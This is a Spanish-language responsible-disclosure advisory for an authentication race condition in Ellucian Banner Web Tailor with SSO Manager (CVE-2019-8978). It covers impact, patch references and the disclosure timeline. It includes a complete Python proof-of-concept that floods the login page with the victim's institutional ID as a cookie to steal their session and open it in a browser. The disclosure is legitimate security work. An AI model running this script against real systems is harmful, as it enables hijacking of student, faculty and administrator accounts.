
Banner Web Tailor y Banner Enterprise Identity Services Divulgación de vulnerabilidades
Autor: Katie Mulliken [email protected]
Agradecimientos: Carnegie Mellon University CERT Coordination Center
Resumen Ejecutivo
Producto
Impacto y Recomendaciones
a. Impacto
b. Recomendaciones
Detalles Técnicos
a. Descripción Técnica
b. Código de Explotación
Cronología de Divulgación
Referencias
Se identificó una vulnerabilidad de autenticación impropia (CWE-287) en Banner Web Tailor y Banner Enterprise Identity Services. Esta vulnerabilidad se produce cuando se utiliza SSO Manager como mecanismo de autenticación para Web Tailor, lo que podría llevar a la divulgación de información y pérdida de integridad de datos para el/los usuario(s) afectados. El proveedor ha verificado la vulnerabilidad y ha producido un parche que ya está disponible. Para más información, consulte las publicaciones en Ellucian Communities: [ENLACE NO PROPORCIONADO ANTES DE LA FECHA LÍMITE] y Banner Enterprise Identity Services: [ENLACE NO PROPORCIONADO ANTES DE LA FECHA LÍMITE]. ACTUALIZACIÓN: Aquí está el enlace a la sección IAM: Y este es el enlace a la comunicación sobre la vulnerabilidad de Banner Web Tailor y SSO Manager publicada en el espacio Banner General & Banner Technical Community - ]
Banner Web Tailor es una herramienta web, diseñada para instituciones de educación superior, que proporciona funcionalidades de registro, gestión de planes de estudio, asesoramiento, administración y generación de informes. Los estudiantes pueden acceder y modificar su información de registro, graduación y ayuda financiera. Los profesores y docentes pueden ingresar calificaciones finales y gestionar sus cursos. Los administradores pueden acceder y modificar la información de estudiantes y profesores. Es utilizado por cientos de instituciones, muchas de las cuales han optado por utilizar el Administrador de Inicio de Sesión Único (SSO Manager) para participar en servicios de inicio de sesión único basados en CAS y SAML. [2]
El identificador único de un usuario, UDCID, se filtra a través de una cookie y podría llevar a un compromiso de la cuenta si este identificador es capturado o conocido de otra manera; en el caso probado, se sabía que el UDCID era el ID institucional impreso en las tarjetas de identificación. El UDCID podría usarse para explotar una condición de carrera que proporcionaría a un atacante acceso no autorizado. Para un estudiante, el atacante podría darlo de baja de sus cursos, rechazar la ayuda financiera, cambiar su información personal, etc. Para un profesor, esto podría llevar a la imposibilidad de gestionar sus cursos, permitir que un estudiante malintencionado ingrese calificaciones finales falsas, etc. Para un administrador, un atacante podría cambiar la información de los usuarios, colocar retenciones falsas en las cuentas de los estudiantes, etc.
Las organizaciones afectadas deben actualizar a la última versión. Se puede encontrar más información en las publicaciones en Ellucian Communities: [ENLACE NO PROPORCIONADO ANTES DE LA FECHA LÍMITE] y Banner Enterprise Identity Services: [ENLACE NO PROPORCIONADO ANTES DE LA FECHA LÍMITE] ACTUALIZACIÓN: Aquí está el enlace a la sección IAM: https://ecommunities.ellucian.com/message/252749#252749 Y este es el enlace a la comunicación sobre la vulnerabilidad de Banner Web Tailor y SSO Manager publicada en el espacio Banner General & Banner Technical Community - https://ecommunities.ellucian.com/message/252810#252810. Utilice Ellucian Communities o contacte a Ellucian a través de ActionLine para obtener más información. Las actualizaciones de esta divulgación estarán disponibles en GitHub: https://github.com/JoshuaMulliken/CVE-2019-8978
La vulnerabilidad de autenticación impropia puede explotarse a través de una condición de carrera que ocurre en Ellucian Banner Web Tailor, en conjunto con SSO Manager. Esta vulnerabilidad permite a atacantes remotos robar la sesión de una víctima (y causar una denegación de servicio) solicitando repetidamente la página principal inicial de Banner Web Tailor con la cookie IDMSESSID establecida al UDCID de la víctima, que en el caso probado es el ID institucional. Durante un intento de inicio de sesión de una víctima, el atacante puede aprovechar la condición de carrera y se le asignará el SESSID que estaba destinado para esta víctima. Consulte el código de prueba de concepto ubicado en el enlace de GitHub a continuación para más detalles.
""" exploit.py
This code is designed for Python 3 and requires the packages selenium and requests_threads. It does 50 simultaneous requests per batch and repeats. More or less may be required depending on your connection latency.
"""
import re, time, sys, select, os
from selenium import webdriver
from requests_threads import AsyncSession
requests_per_batch = 50
target_host = input("Please provide the target url (This is from the Web Tailor page post login): ")
target_id = input("Please provide the ID, which in the case tested is the institutional ID: ")
cookies = {
'IDMSESSID': target_id,
}
session = AsyncSession(n=requests_per_batch)
async def _main():
final_sessid = ""
os.system('cls' if os.name == 'nt' else 'clear')
print("To quit press Enter")
while True:
rs = []
for _ in range(requests_per_batch):
rs.append(await session.get(target_host, cookies=cookies))
for response in rs:
for c in response.cookies:
if (c.name == 'SESSID'):
print(c.name, c.value)
final_sessid = c.value
if sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
line = input()
break
print("Last SESSID:", final_sessid)
open_browser = input("Open a browser with this SESSID(y/n): ")
if open_browser == "y":
"""
This feature requires a chromedriver for your operating system version.
It can be found at https://sites.google.com/a/chromium.org/chromedriver/
Place it in the working directory of the exploit.py
"""
browser = webdriver.Chrome(executable_path=os.path.join(os.getcwd(),"chromedriver"))
browser.get(target_host)
browser.add_cookie({
"domain": target_host.split("/")[2],
"name": "SESSID",
"value": final_sessid,
})
browser.get(target_host)
stay_open = input("Press enter to close")
session.run(_main)
18 de diciembre de 2018: Se intentó reportar a través del formulario web de marketing de Ellucian y se envió a [email protected]
20 de diciembre de 2018: Se envió el informe al Centro de Coordinación CERT de la Universidad Carnegie Mellon
2 de enero de 2019: Se envió el informe a un CISO de Ellucian descubierto a través de LinkedIn
2 de enero de 2019: Se solicitó información sobre el procedimiento de divulgación responsable a la Universidad de Carolina del Sur
3 de enero de 2019: Ellucian indicó que se reportara a través de ActionLine
4 de enero de 2019: La Universidad de Carolina del Sur informó que no existe un procedimiento para reportar vulnerabilidades
4 de enero de 2019: Se informó a la Universidad de Carolina del Sur que se había descubierto una vulnerabilidad en Banner
18 de febrero de 2019: CERT informó de la imposibilidad de contactar al proveedor y recomendó la divulgación pública
25 de febrero de 2019: Se envió un borrador del aviso a Ellucian y se fijó la fecha de divulgación para el 4 de marzo
28 de febrero de 2019: Se realizó una demostración de la vulnerabilidad para Ellucian a través de una conferencia Zoom
1 de marzo de 2019: La Universidad de Carolina del Sur solicitó retrasar la publicación
21 de marzo de 2019: La Universidad de Carolina del Sur recibió un parche adaptado de Ellucian
26 de marzo de 2019: Ellucian finalizó los parches para todas las versiones
29 de marzo de 2019: Ellucian informó que la Universidad de Carolina del Sur realizaría cambios el 1 de abril
1 de abril de 2019: Se solicitó información sobre el estado del parche a la Universidad de Carolina del Sur
5 de abril de 2019: La Universidad de Carolina del Sur dio una fecha estimada del 30 de abril de 2019
30 de abril de 2019: La Universidad de Carolina del Sur actualizó la fecha estimada a mediados de mayo
7 de mayo de 2019: Se fijó la fecha de publicación de la divulgación para el 13 de mayo
10 de mayo de 2019: La Universidad de Carolina del Sur publicó un aviso de interrupción planificada para todos los servicios de Banner programada para el 11 de mayo
11 de mayo de 2019: La Universidad de Carolina del Sur instaló correctamente el parche
13 de mayo de 2019: Se publicó la divulgación